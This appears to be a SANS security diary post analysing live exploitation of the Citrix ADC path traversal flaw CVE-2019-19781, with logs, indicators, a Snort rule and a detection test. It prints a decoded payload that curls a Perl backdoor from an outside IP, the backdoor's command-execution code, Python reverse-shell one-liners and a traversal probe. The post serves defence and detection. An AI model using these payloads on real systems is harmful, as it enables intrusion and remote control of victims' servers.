IMPORTANT UPDATE: CITRIX announced that a patch will be released on January 20th for Citrix ADC 11/12 and 13. Version 10 will have to wait until January 31st.  (https://support.citrix.com/article/CTX267027)

Late last night, multiple groups released working exploits for the Citrix ADC path traversal flaw. First, "Project Zero India" released a simple exploit essentially consisting of two curl commands [1]. The first one will write a template file that includes a shell command of the user's choosing. The second curl request will download the result of the command execution. The exploit worked for me, but I had to make some small adjustments likely due to differences in command-line tool flavors.

After the first exploit was released, TrustedSec released its exploit [2]. It should be noted that TrustedSec held back on publishing until the first exploit was released. TrustedSec's exploit uses essentially the same method as the first exploit. But TrustedSec's exploit is written as a Python script and establishes a reverse shell. Overall, TrustedSec's exploit is more professionally done and works very well. I had to make one small adjustment to make it work on my version of Citrix ADC. Over the last few hours, many other variations of the exploit have been released.

Both exploits will leave files in the /var/tmp/netscaler/portal/templates and /netscaler/portal/templates directory. Here is an example after using the TrustedSec exploit twice:

root@ns# ls /var/tmp/netscaler/portal/templates/
ddgjfqthcz.xml.ttc2    mkckbpmgiu.xml.ttc2
root@ns# ls  /netscaler/portal/templates/*.xml
/netscaler/portal/templates/ddgjfqthcz.xml
/netscaler/portal/templates/mkckbpmgiu.xml

I have observed one bot that attempts to remove the .xml files in /netscaler/portal/templates . This bot attempts to delete all.xml files, not just the one left by that particular bot. 

Here are typical access log from several exploit attempts (/var/log/httpaccess on my Citrix system)

172.16.29.1 - - [11/Jan/2020:05:14:55 +0000] "GET /vpns/portal/oubspcjuxw.xml HTTP/1.1" 200 696 "-" "curl/7.67.0" "Time: 75532019 microsecs"
172.16.29.1 - - [11/Jan/2020:05:18:51 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 15 "-" "python-requests/2.22.0" "Time: 2756 microsecs"
172.16.29.1 - - [11/Jan/2020:05:20:03 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 135 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0" "Time: 3017 microsecs"
172.16.29.1 - - [11/Jan/2020:14:21:43 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 135 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0" "Time: 13694 microsecs"
172.16.29.1 - - [11/Jan/2020:14:21:45 +0000] "GET /vpns/portal/ddgjfqthcz.xml HTTP/1.1" 200 696 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0" "Time: 212547 microsecs"
172.16.29.1 - - [11/Jan/2020:14:22:29 +0000] "POST /vpns/portal/scripts/newbm.pl HTTP/1.1" 200 135 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0" "Time: 3353 microsecs"

You will typically not see any entries in the error log (/var/log/httperror) unless the exploit fails, in which case you may see errors caused by the script. For example, this is an error log from the TrustedSec exploit after it was unable to connect:

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/var/python/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 61] Connection refused

Note that this text is just added to the error log and it is not formatted like a normal apache error log entry. STDERR is essentially just sent to the log.

For defenses, the Citrix workaround ("patch") is still your best bet [3]. If you haven't applied it yet: Make sure your Citrix ADC has not already been compromised. Checking for the files is a good start but consider that a more sophisticated attacker may be able to remove them. The web server is running as "nobody" so the attacker will be able to execute commands with the "nobody" privileges unless a privilege escalation exploit is added.

To detect vulnerable systems, the simples test is: 

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is

A 200 response means you are vulnerable. A 403 response indicates that the workaround is in place. a 404 response likely indicates that this is not a Citrix ADC or other vulnerable system.

We do see heavy exploitation of the flaw using variations of both exploits. Most attempts follow the "Project Zero India" pattern, which is likely simpler to include in existing exploit scripts. Much of the scanning we have been seen so far is just testing the vulnerability by attempting to run commands like "id" and "uname".

A few exploits attempted to download additional code. I was successful retrieving one sample so far, a simple Perl backdoor.

The decoded exploit payload:

url=https://www.google.com&desc=[%+template.new({'BLOCK'='print+`curl+http://45.76.66.122:8090/aa.pl+-o++/netscaler/portal/scripts/PersonalBookmark.pl`'})+%]&title=xWCwb

The code attempts to download the script and places it in /netscaler/portal/scripts/PersonalBookmark.pl. The script accepts bash commands as a "cmd" parameter. There doesn't appear to be any kind of password:

my $cmd = Encode::decode('utf8', $cgi->param('cmd'));
if($cmd){print $cmd;my @c= `$cmd`;foreach my $line (@c) {print $line . "<br/>";}exit;}

The response is wrapped in XML and send back like other Citrix responses:

print "Content-Type: text/xml\r\n";
print "X-Citrix-Application: Receiver for Web\r\n";  # Needed for the RfwebUI
print "\r\n";
print $xml->XMLout($out);

I submitted the script to Virustotal, and so far, there are no "hits" for it [4]. This script will make vulnerable systems even more "vulnerable". 

I added a snort rule for the first part of the exploit below. It 

alert tcp any any -> any any (sid: 1019781; msg: "SERVER-WEBAPP Citrix ADC NSC_USER directory traversal attempt"; content: "NSC_USER:"; fast_pattern; content: "NSC_USER:"; http_header; content: "/../"; http_header; content: "POST"; http_method; content: "NSC_NONCE:" ; http_header; content: ".pl"; http_uri; content: "/vpns/"; http_uri; reference:cve,2019-19781; classtype: web-application-attack)

It is important to note that the often quotes ".." pattern is not as many assumed in the URL, but instead it can be found in the NSC_USER header. Probably the best filter you can use is to look for an NSC_USER header with a ".." patern in the value. You can find a PCAP of running the TrustedSec version of the exploit (after changing it to use HTTP) here: citrixexploit.pcap .

 

In addition to the files left behind, you may also see python processes running on an attacked system. For example:

 2251  ??  IW     0:00.00 /var/python/bin/python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.29.1",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); (python2.7)
 5199  ??  I      0:00.03 /var/python/bin/python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.29.1",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); (python2.7)
 5228  ??  I      0:00.03 /var/python/bin/python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.29.1",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); (python2.7)

[1] https://github.com/projectzeroindia/CVE-2019-19781
[2] https://github.com/trustedsec/cve-2019-19781/
[3] https://support.citrix.com/article/CTX267027
[4] https://www.virustotal.com/gui/file/2052f1e7830e2d86a356a0532d3c2728b88d674a4384727ea7df1d3522a5ed05

%CVE:2019-19781%

 

 

 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|